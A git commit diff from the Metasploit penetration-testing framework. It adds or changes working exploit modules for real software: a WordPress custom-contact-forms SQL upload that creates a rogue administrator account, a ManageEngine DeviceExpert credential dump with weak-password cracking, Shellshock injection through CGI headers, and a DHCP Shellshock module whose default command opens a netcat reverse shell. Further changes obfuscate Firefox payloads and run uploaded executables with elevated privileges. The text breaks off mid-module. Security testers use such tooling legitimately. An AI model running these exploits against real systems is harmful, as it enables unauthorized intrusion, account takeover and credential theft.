commit
701291e029
|
@ -51,7 +51,7 @@ PATH
|
|||
actionpack (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
bcrypt
|
||||
jsobfu (~> 0.1.7)
|
||||
jsobfu (~> 0.2.0)
|
||||
json
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
|
@ -136,7 +136,7 @@ GEM
|
|||
multi_json (~> 1.3)
|
||||
hike (1.2.3)
|
||||
i18n (0.6.11)
|
||||
jsobfu (0.1.7)
|
||||
jsobfu (0.2.0)
|
||||
rkelly-remix (= 0.0.6)
|
||||
json (1.8.1)
|
||||
mail (2.6.1)
|
||||
|
|
|
@ -52,29 +52,65 @@ module Scriptable
|
|||
end
|
||||
|
||||
#
|
||||
# Executes the supplied script or Post module with arguments +args+
|
||||
# Executes the supplied script, Post module, or local Exploit module with
|
||||
# arguments +args+
|
||||
#
|
||||
# Will search the script path.
|
||||
#
|
||||
def execute_script(script_name, *args)
|
||||
mod = framework.modules.create(script_name)
|
||||
if (mod and mod.type == "post")
|
||||
if mod
|
||||
# Don't report module run events here as it will be taken care of
|
||||
# in +Post.run_simple+
|
||||
opts = { 'SESSION' => self.sid }
|
||||
args.each do |arg|
|
||||
k,v = arg.split("=", 2)
|
||||
opts[k] = v
|
||||
# case doesn't matter in datastore, but it does in hashes, let's normalize
|
||||
opts[k.downcase] = v
|
||||
end
|
||||
mod.run_simple(
|
||||
# Run with whatever the default stance is for now. At some
|
||||
# point in the future, we'll probably want a way to force a
|
||||
# module to run in the background
|
||||
#'RunAsJob' => true,
|
||||
'LocalInput' => self.user_input,
|
||||
'LocalOutput' => self.user_output,
|
||||
'Options' => opts
|
||||
)
|
||||
if mod.type == "post"
|
||||
mod.run_simple(
|
||||
# Run with whatever the default stance is for now. At some
|
||||
# point in the future, we'll probably want a way to force a
|
||||
# module to run in the background
|
||||
#'RunAsJob' => true,
|
||||
'LocalInput' => self.user_input,
|
||||
'LocalOutput' => self.user_output,
|
||||
'Options' => opts
|
||||
)
|
||||
elsif mod.type == "exploit"
|
||||
# well it must be a local, we're not currently supporting anything else
|
||||
if mod.exploit_type == "local"
|
||||
# get a copy of the session exploit's datastore if we can
|
||||
original_exploit_datastore = self.exploit.datastore || {}
|
||||
copy_of_orig_exploit_datastore = original_exploit_datastore.clone
|
||||
# convert datastore opts to a hash to normalize casing issues
|
||||
local_exploit_opts = {}
|
||||
copy_of_orig_exploit_datastore.each do |k,v|
|
||||
local_exploit_opts[k.downcase] = v
|
||||
end
|
||||
# we don't want to inherit a couple things, like AutoRunScript's
|
||||
to_neuter = %w{AutoRunScript InitialAutoRunScript LPORT TARGET}
|
||||
to_neuter.each do |setting|
|
||||
local_exploit_opts.delete(setting.downcase)
|
||||
end
|
||||
|
||||
# merge in any opts that were passed in, defaulting all other settings
|
||||
# to the values from the datastore (of the exploit) that spawned the
|
||||
# session
|
||||
local_exploit_opts = local_exploit_opts.merge(opts)
|
||||
|
||||
new_session = mod.exploit_simple(
|
||||
'Payload' => local_exploit_opts.delete('payload'),
|
||||
'Target' => local_exploit_opts.delete('target'),
|
||||
'LocalInput' => self.user_input,
|
||||
'LocalOutput' => self.user_output,
|
||||
'Options' => local_exploit_opts
|
||||
)
|
||||
|
||||
end # end if local
|
||||
end # end if exploit
|
||||
|
||||
else
|
||||
full_path = self.class.find_script_path(script_name)
|
||||
|
||||
|
@ -91,4 +127,3 @@ module Scriptable
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -20,7 +20,7 @@ module Exploit::Android
|
|||
|
||||
def add_javascript_interface_exploit_js(arch)
|
||||
stagename = Rex::Text.rand_text_alpha(5)
|
||||
script = %Q|
|
||||
%Q|
|
||||
function exec(runtime, cmdArr) {
|
||||
var ch = 0;
|
||||
var output = '';
|
||||
|
@ -84,9 +84,6 @@ module Exploit::Android
|
|||
|
||||
for (i in top) { if (attemptExploit(top[i]) === true) break; }
|
||||
|
|
||||
|
||||
# remove comments and empty lines
|
||||
script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '')
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -12,7 +12,24 @@ module Msf
|
|||
module Exploit::DHCPServer
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
super(update_info(info,
|
||||
'Stance' => Msf::Exploit::Stance::Passive,
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
|
||||
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
|
||||
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
|
||||
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
|
||||
OptString.new('ROUTER', [ false, "The router IP address" ]),
|
||||
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
|
||||
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
|
||||
OptString.new('DOMAINNAME', [ false, "The optional domain name to assign" ]),
|
||||
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
|
||||
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
|
||||
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
|
||||
], self.class)
|
||||
|
||||
@dhcp = nil
|
||||
end
|
||||
|
@ -21,7 +38,7 @@ module Exploit::DHCPServer
|
|||
@dhcp = Rex::Proto::DHCP::Server.new(hash, context)
|
||||
print_status("Starting DHCP server") if datastore['VERBOSE']
|
||||
@dhcp.start
|
||||
add_socket(@dhcp.socket)
|
||||
add_socket(@dhcp.sock)
|
||||
@dhcp
|
||||
end
|
||||
|
||||
|
@ -34,4 +51,3 @@ module Exploit::DHCPServer
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -7,16 +7,24 @@
|
|||
#
|
||||
###
|
||||
|
||||
require 'msf/core/exploit/jsobfu'
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::FirefoxPrivilegeEscalation
|
||||
|
||||
# automatically obfuscate anything that runs through `js_exec`
|
||||
include Msf::Exploit::JSObfu
|
||||
|
||||
# Sends the +js+ code to the remote session, which executes it in Firefox's
|
||||
# privileged javascript context
|
||||
# privileged javascript context. The code will be obfuscated if the JsObfuscate
|
||||
# datastore option is set to 1 or higher.
|
||||
#
|
||||
# @return [String] the results that were sent back. This can be achieved through
|
||||
# calling the "send" function, or by just returning the value in +js+
|
||||
def js_exec(js, timeout=30)
|
||||
print_status "Running the privileged javascript..."
|
||||
token = "[[#{Rex::Text.rand_text_alpha(8)}]]"
|
||||
js = js_obfuscate(js)
|
||||
session.shell_write("#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}")
|
||||
session.shell_read_until_token("[!JAVASCRIPT]", 0, timeout)
|
||||
end
|
||||
|
|
|
@ -1,9 +1,13 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/jsobfu'
|
||||
require 'json'
|
||||
|
||||
module Msf::Payload::Firefox
|
||||
|
||||
# automatically obfuscate every Firefox payload
|
||||
include Msf::Exploit::JSObfu
|
||||
|
||||
# Javascript source code of setTimeout(fn, delay)
|
||||
# @return [String] javascript source code that exposes the setTimeout(fn, delay) method
|
||||
def set_timeout_source
|
||||
|
@ -121,14 +125,15 @@ module Msf::Payload::Firefox
|
|||
var retVal = null;
|
||||
|
||||
try {
|
||||
retVal = Function('send', js[1])(function(r){
|
||||
this.send = function(r){
|
||||
if (sent) return;
|
||||
sent = true;
|
||||
if (r) {
|
||||
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
|
||||
else cb(false, r+tag+"\\n");
|
||||
}
|
||||
});
|
||||
};
|
||||
retVal = Function(js[1]).call(this);
|
||||
} catch (e) { retVal = e.message; }
|
||||
|
||||
sync = false;
|
||||
|
|
|
@ -4,27 +4,23 @@ require 'msf/core/exploit/powershell'
|
|||
require 'msf/core/exploit/exe'
|
||||
|
||||
module Msf::Post::Windows::Runas
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def execute_exe(filename = nil, path = nil, upload = nil)
|
||||
def shell_execute_exe(filename = nil, path = nil)
|
||||
exe_payload = generate_payload_exe
|
||||
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
|
||||
payload_path = path || get_env('TEMP')
|
||||
payload_path = path || expand_path('%TEMP%')
|
||||
cmd_location = "#{payload_path}\\#{payload_filename}"
|
||||
|
||||
if upload
|
||||
exe_payload = generate_payload_exe
|
||||
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
|
||||
write_file(cmd_location, exe_payload)
|
||||
else
|
||||
print_status("No file uploaded, attempting to execute #{cmd_location}...")
|
||||
end
|
||||
|
||||
shell_exec(cmd_location, nil)
|
||||
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
|
||||
write_file(cmd_location, exe_payload)
|
||||
command, args = cmd_location, nil
|
||||
shell_exec(command, args)
|
||||
end
|
||||
|
||||
def execute_psh
|
||||
def shell_execute_psh
|
||||
powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
command = 'cmd.exe'
|
||||
args = "/c #{powershell_command}"
|
||||
|
@ -32,7 +28,10 @@ module Msf::Post::Windows::Runas
|
|||
end
|
||||
|
||||
def shell_exec(command, args)
|
||||
print_status('Executing elevated command...')
|
||||
print_status('Executing Command!')
|
||||
session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
|
||||
::Timeout.timeout(30) do
|
||||
select(nil, nil, nil, 1) until session_created?
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -3184,7 +3184,7 @@ class Core
|
|||
)
|
||||
[
|
||||
[ 'ConsoleLogging', framework.datastore['ConsoleLogging'] || "false", 'Log all console input and output' ],
|
||||
[ 'LogLevel', framework.datastore['LogLevel'] || "0", 'Verbosity of logs (default 0, max 5)' ],
|
||||
[ 'LogLevel', framework.datastore['LogLevel'] || "0", 'Verbosity of logs (default 0, max 3)' ],
|
||||
[ 'MinimumRank', framework.datastore['MinimumRank'] || "0", 'The minimum rank of exploits that will run without explicit confirmation' ],
|
||||
[ 'SessionLogging', framework.datastore['SessionLogging'] || "false", 'Log all input and output for sessions' ],
|
||||
[ 'TimestampOutput', framework.datastore['TimestampOutput'] || "false", 'Prefix all console output with a timestamp' ],
|
||||
|
|
|
@ -19,8 +19,10 @@ OpDHCPServer = 0x36
|
|||
OpLeaseTime = 0x33
|
||||
OpSubnetMask = 1
|
||||
OpRouter = 3
|
||||
OpDomainName = 15
|
||||
OpDns = 6
|
||||
OpHostname = 0x0c
|
||||
OpURL = 0x72
|
||||
OpEnd = 0xff
|
||||
|
||||
PXEMagic = "\xF1\x00\x74\x7E"
|
||||
|
|
|
@ -94,6 +94,9 @@ class Server
|
|||
self.pxealtconfigfile = "update0"
|
||||
self.pxepathprefix = ""
|
||||
self.pxereboottime = 2000
|
||||
|
||||
self.domain_name = hash['DOMAINNAME'] || nil
|
||||
self.url = hash['URL'] if hash.include?('URL')
|
||||
end
|
||||
|
||||
def report(&block)
|
||||
|
@ -126,7 +129,7 @@ class Server
|
|||
allowed_options = [
|
||||
:serveOnce, :pxealtconfigfile, :servePXE, :relayip, :leasetime, :dnsserv,
|
||||
:pxeconfigfile, :pxepathprefix, :pxereboottime, :router,
|
||||
:give_hostname, :served_hostname, :served_over, :serveOnlyPXE
|
||||
:give_hostname, :served_hostname, :served_over, :serveOnlyPXE, :domain_name, :url
|
||||
]
|
||||
|
||||
opts.each_pair { |k,v|
|
||||
|
@ -151,10 +154,11 @@ class Server
|
|||
end
|
||||
|
||||
attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv
|
||||
attr_accessor :domain_name
|
||||
attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce
|
||||
attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn
|
||||
attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE
|
||||
attr_accessor :give_hostname, :served_hostname, :served_over, :reporter
|
||||
attr_accessor :give_hostname, :served_hostname, :served_over, :reporter, :url
|
||||
|
||||
protected
|
||||
|
||||
|
@ -166,7 +170,7 @@ protected
|
|||
wds = []
|
||||
eds = [@sock]
|
||||
|
||||
r,w,e = ::IO.select(rds,wds,eds,1)
|
||||
r,_,_ = ::IO.select(rds,wds,eds,1)
|
||||
|
||||
if (r != nil and r[0] == self.sock)
|
||||
buf,host,port = self.sock.recvfrom(65535)
|
||||
|
@ -198,19 +202,19 @@ protected
|
|||
end
|
||||
|
||||
# parse out the members
|
||||
hwtype = buf[1,1]
|
||||
_hwtype = buf[1,1]
|
||||
hwlen = buf[2,1].unpack("C").first
|
||||
hops = buf[3,1]
|
||||
txid = buf[4..7]
|
||||
elapsed = buf[8..9]
|
||||
flags = buf[10..11]
|
||||
_hops = buf[3,1]
|
||||
_txid = buf[4..7]
|
||||
_elapsed = buf[8..9]
|
||||
_flags = buf[10..11]
|
||||
clientip = buf[12..15]
|
||||
givenip = buf[16..19]
|
||||
nextip = buf[20..23]
|
||||
relayip = buf[24..27]
|
||||
clienthwaddr = buf[28..(27+hwlen)]
|
||||
_givenip = buf[16..19]
|
||||
_nextip = buf[20..23]
|
||||
_relayip = buf[24..27]
|
||||
_clienthwaddr = buf[28..(27+hwlen)]
|
||||
servhostname = buf[44..107]
|
||||
filename = buf[108..235]
|
||||
_filename = buf[108..235]
|
||||
magic = buf[236..239]
|
||||
|
||||
if (magic != DHCPMagic)
|
||||
|
@ -293,6 +297,8 @@ protected
|
|||
pkt << dhcpoption(OpSubnetMask, self.netmaskn)
|
||||
pkt << dhcpoption(OpRouter, self.router)
|
||||
pkt << dhcpoption(OpDns, self.dnsserv)
|
||||
pkt << dhcpoption(OpDomainName, self.domain_name)
|
||||
|
||||
if self.servePXE # PXE options
|
||||
pkt << dhcpoption(OpPXEMagic, PXEMagic)
|
||||
# We already got this one, serve localboot file
|
||||
|
@ -317,6 +323,7 @@ protected
|
|||
pkt << dhcpoption(OpHostname, send_hostname)
|
||||
end
|
||||
end
|
||||
pkt << dhcpoption(OpURL, self.url) if self.url
|
||||
pkt << dhcpoption(OpEnd)
|
||||
|
||||
pkt << ("\x00" * 32) #padding
|
||||
|
|
|
@ -55,7 +55,7 @@ Gem::Specification.new do |spec|
|
|||
# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
|
||||
spec.add_runtime_dependency 'bcrypt'
|
||||
# Needed for Javascript obfuscation
|
||||
spec.add_runtime_dependency 'jsobfu', '~> 0.1.7'
|
||||
spec.add_runtime_dependency 'jsobfu', '~> 0.2.0'
|
||||
# Needed for some admin modules (scrutinizer_add_user.rb)
|
||||
spec.add_runtime_dependency 'json'
|
||||
# Metasploit::Concern hooks
|
||||
|
|
|
@ -0,0 +1,115 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::HTTP::Wordpress
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'WordPress custom-contact-forms Plugin SQL Upload',
|
||||
'Description' => %q{
|
||||
The WordPress custom-contact-forms plugin <= 5.1.0.3 allows unauthenticated users to download
|
||||
a SQL dump of the plugins database tables. It's also possible to upload files containing
|
||||
sql statements which will be executed. The module first tries to extract the WordPress
|
||||
table prefix from the dump and then attempts to create a new admin user.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Marc-Alexandre Montpas', # Vulnerability discovery
|
||||
'Christian Mehlmauer' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html' ],
|
||||
[ 'URL', 'https://plugins.trac.wordpress.org/changeset?old_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.3&old=997569&new_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.4&new=997569&sfp_email=&sfph_mail=' ]
|
||||
],
|
||||
'DisclosureDate' => 'Aug 07 2014'
|
||||
))
|
||||
end
|
||||
|
||||
def get_sql(table_prefix, username, password)
|
||||
# create user
|
||||
sql = "INSERT INTO #{table_prefix}users (user_login, user_pass) VALUES ('#{username}','#{Rex::Text.md5(password)}');"
|
||||
# make user administrator
|
||||
sql << "INSERT INTO #{table_prefix}usermeta (user_id, meta_key, meta_value) VALUES ((select id from #{table_prefix}users where user_login='#{username}'),'wp_capabilities','a:1:{s:13:\"administrator\";b:1;}'),((select id from #{table_prefix}users where user_login='#{username}'),'wp_user_level','10');"
|
||||
|
||||
sql
|
||||
end
|
||||
|
||||
def get_table_prefix
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(wordpress_url_backend, 'admin-post.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'ccf_export' => "1"
|
||||
}
|
||||
})
|
||||
return nil if res.nil? || res.code != 302 || res.headers['Location'] !~ /\.sql$/
|
||||
|
||||
file = res.headers['Location']
|
||||
res_file = send_request_cgi('uri' => file)
|
||||
return nil if res_file.nil? || res_file.code != 200 || res_file.body.nil?
|
||||
|
||||
match = res_file.body.match(/insert into `(.+_)customcontactforms_fields`/i)
|
||||
return nil if match.nil? || match.length < 2
|
||||
|
||||
table_prefix = match[1]
|
||||
table_prefix
|
||||
end
|
||||
|
||||
def run
|
||||
username = Rex::Text.rand_text_alpha(10)
|
||||
password = Rex::Text.rand_text_alpha(20)
|
||||
|
||||
print_status("#{peer} - Trying to get table_prefix")
|
||||
table_prefix = get_table_prefix
|
||||
if table_prefix.nil?
|
||||
print_error("#{peer} - Unable to get table_prefix")
|
||||
return
|
||||
else
|
||||
print_status("#{peer} - got table_prefix '#{table_prefix}'")
|
||||
end
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(get_sql(table_prefix, username, password), 'text/plain', nil, "form-data; name=\"import_file\"; filename=\"#{Rex::Text.rand_text_alpha(5)}.sql\"")
|
||||
data.add_part('1', nil, nil, 'form-data; name="ccf_merge_import"')
|
||||
post_data = data.to_s
|
||||
|
||||
print_status("#{peer} - Inserting user #{username} with password #{password}")
|
||||
uri = normalize_uri(wordpress_url_backend, 'admin-post.php')
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => post_data
|
||||
)
|
||||
|
||||
if res.nil? || res.code != 302 || res.headers['Location'] != 'options-general.php?page=custom-contact-forms'
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
|
||||
end
|
||||
|
||||
# test login
|
||||
cookie = wordpress_login(username, password)
|
||||
|
||||
# login successfull
|
||||
if cookie
|
||||
print_status("#{peer} - User #{username} with password #{password} successfully created")
|
||||
report_auth_info(
|
||||
sname: 'WordPress',
|
||||
host: rhost,
|
||||
port: rport,
|
||||
user: username,
|
||||
pass: password,
|
||||
active: true
|
||||
)
|
||||
else
|
||||
print_error("#{peer} - User creation failed")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -17,7 +17,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'Description' => %q{
|
||||
This module exploits a code injection in specially crafted environment
|
||||
variables in Bash, specifically targeting Apache mod_cgi scripts through
|
||||
the HTTP_USER_AGENT variable.
|
||||
the HTTP_USER_AGENT variable by default.
|
||||
|
||||
PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your
|
||||
CMD, set ExitOnSession false, run -j, and then run this module to create
|
||||
|
@ -38,8 +38,8 @@ class Metasploit4 < Msf::Auxiliary
|
|||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Path to CGI script']),
|
||||
OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET',
|
||||
['GET', 'POST']]),
|
||||
OptString.new('METHOD', [true, 'HTTP method to use', 'GET']),
|
||||
OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']),
|
||||
OptString.new('CMD', [true, 'Command to run (absolute paths required)',
|
||||
'/usr/bin/id'])
|
||||
], self.class)
|
||||
|
@ -57,10 +57,25 @@ class Metasploit4 < Msf::Auxiliary
|
|||
:name => self.name,
|
||||
:refs => self.references
|
||||
)
|
||||
Exploit::CheckCode::Vulnerable
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif res && res.code == 500
|
||||
injected_res_code = res.code
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => datastore['METHOD'],
|
||||
'uri' => normalize_uri(target_uri.path.to_s)
|
||||
})
|
||||
|
||||
if res && injected_res_code == res.code
|
||||
return Exploit::CheckCode::Unknown
|
||||
elsif res && injected_res_code != res.code
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
@ -83,7 +98,9 @@ class Metasploit4 < Msf::Auxiliary
|
|||
send_request_cgi(
|
||||
'method' => datastore['METHOD'],
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'agent' => "() { :;};echo #{@marker}$(#{cmd})#{@marker}"
|
||||
'headers' => {
|
||||
datastore['HEADER'] => "() { :;};echo #{@marker}$(#{cmd})#{@marker}"
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,170 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'ManageEngine DeviceExpert User Credentials',
|
||||
'Description' => %q{
|
||||
This module extracts usernames and salted MD5 password hashes
|
||||
from ManageEngine DeviceExpert version 5.9 build 5980 and prior.
|
||||
|
||||
This module has been tested successfully on DeviceExpert
|
||||
version 5.9.7 build 5970.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>', # Discovery and exploit
|
||||
'Brendan Coles <bcoles[at]gmail.com>' # msf
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '34449'],
|
||||
['OSVBD', '110522'],
|
||||
['CVE', '2014-5377']
|
||||
],
|
||||
'DisclosureDate' => 'Aug 28 2014'))
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(6060),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true])
|
||||
], self.class)
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def check
|
||||
get_users ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def get_users
|
||||
users = nil
|
||||
vprint_status("#{peer} - Reading users from master...")
|
||||
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'ReadUsersFromMasterServlet'))
|
||||
if !res
|
||||
vprint_error("#{peer} - Connection failed")
|
||||
elsif res.code == 404
|
||||
vprint_error("#{peer} - Could not find 'ReadUsersFromMasterServlet'")
|
||||
elsif res.code == 200 && res.body =~ /<discoverydata>(.+)<\/discoverydata>/
|
||||
users = res.body.scan(/<discoverydata>(.*?)<\/discoverydata>/)
|
||||
vprint_good("#{peer} - Found #{users.length} users")
|
||||
else
|
||||
vprint_error("#{peer} - Could not find any users")
|
||||
end
|
||||
users
|
||||
end
|
||||
|
||||
def parse_user_data(user)
|
||||
return if user.nil?
|
||||
username = user.scan(/<username>([^<]+)</).flatten.first
|
||||
encoded_hash = user.scan(/<password>([^<]+)</).flatten.first
|
||||
role = user.scan(/<userrole>([^<]+)</).flatten.first
|
||||
mail = user.scan(/<emailid>([^<]+)</).flatten.first
|
||||
salt = user.scan(/<saltvalue>([^<]+)</).flatten.first
|
||||
hash = Rex::Text.decode_base64(encoded_hash).unpack('H*').flatten.first
|
||||
pass = nil
|
||||
['12345', 'admin', 'password', username].each do |weak_password|
|
||||
if hash == Rex::Text.md5(weak_password + salt)
|
||||
pass = weak_password
|
||||
break
|
||||
end
|
||||
end
|
||||
[username, pass, hash, role, mail, salt]
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
users = get_users
|
||||
return if users.nil?
|
||||
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: (ssl ? 'https' : 'http'),
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
cred_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'ManageEngine DeviceExpert User Credentials',
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
'Username',
|
||||
'Password',
|
||||
'Password Hash',
|
||||
'Role',
|
||||
'E-mail',
|
||||
'Password Salt'
|
||||
]
|
||||
)
|
||||
|
||||
vprint_status("#{peer} - Parsing user data...")
|
||||
users.each do |user|
|
||||
record = parse_user_data(user.to_s)
|
||||
next if record.join.empty?
|
||||
|
||||
user = record[0]
|
||||
pass = record[1]
|
||||
hash = record[2]
|
||||
role = record[3]
|
||||
mail = record[4]
|
||||
salt = record[5]
|
||||
|
||||
cred_table << [user, pass, hash, role, mail, salt]
|
||||
|
||||
if pass
|
||||
print_status("#{peer} - Found weak credentials (#{user}:#{pass})")
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: self.fullname,
|
||||
private_type: :password,
|
||||
private_data: pass,
|
||||
username: user
|
||||
}
|
||||
else
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: self.fullname,
|
||||
private_type: :nonreplayable_hash,
|
||||
private_data: "#{salt}:#{hash}",
|
||||
username: user
|
||||
}
|
||||
end
|
||||
|
||||
credential_data.merge!(service_data)
|
||||
credential_core = create_credential(credential_data)
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
access_level: role,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
login_data.merge!(service_data)
|
||||
create_credential_login(login_data)
|
||||
|
||||
end
|
||||
|
||||
print_line
|
||||
print_line("#{cred_table}")
|
||||
loot_name = 'manageengine.deviceexpert.user.creds'
|
||||
loot_type = 'text/csv'
|
||||
loot_filename = 'manageengine_deviceexpert_user_creds.csv'
|
||||
loot_desc = 'ManageEngine DeviceExpert User Credentials'
|
||||
p = store_loot(
|
||||
loot_name,
|
||||
loot_type,
|
||||
rhost,
|
||||
cred_table.to_csv,
|
||||
loot_filename,
|
||||
loot_desc)
|
||||
print_status "Credentials saved in: #{p}"
|
||||
end
|
||||
end
|
|
@ -0,0 +1,82 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/dhcp'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::DHCPServer
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'DHCP Client Bash Environment Variable Code Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a code injection in specially crafted environment
|
||||
variables in Bash, specifically targeting dhclient network configuration
|
||||
scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'scriptjunkie', 'apconole[at]yahoo.com', # Original DHCP Server auxiliary module
|
||||
'Stephane Chazelas', # Vulnerability discovery
|
||||
'Ramon de C Valle' # This module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'Service' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'Service'
|
||||
],
|
||||
'DefaultAction' => 'Service',
|
||||
'References' => [
|
||||
['CVE', '2014-6271'],
|
||||
['CWE', '94'],
|
||||
['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
|
||||
['URL', 'http://seclists.org/oss-sec/2014/q3/649',],
|
||||
['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/',]
|
||||
],
|
||||
'DisclosureDate' => 'Sep 24 2014'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
|
||||
end
|
||||
|
||||
def run
|
||||
value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}"
|
||||
|
||||
hash = datastore.copy
|
||||
hash['DOMAINNAME'] = value
|
||||
hash['HOSTNAME'] = value
|
||||
hash['URL'] = value
|
||||
|
||||
# This loop is required because the current DHCP Server exits after the
|
||||
# first interaction.
|
||||
loop do
|
||||
begin
|
||||
start_service(hash)
|
||||
|
||||
while @dhcp.thread.alive?
|
||||
select(nil, nil, nil, 2)
|
||||
end
|
||||
|
||||
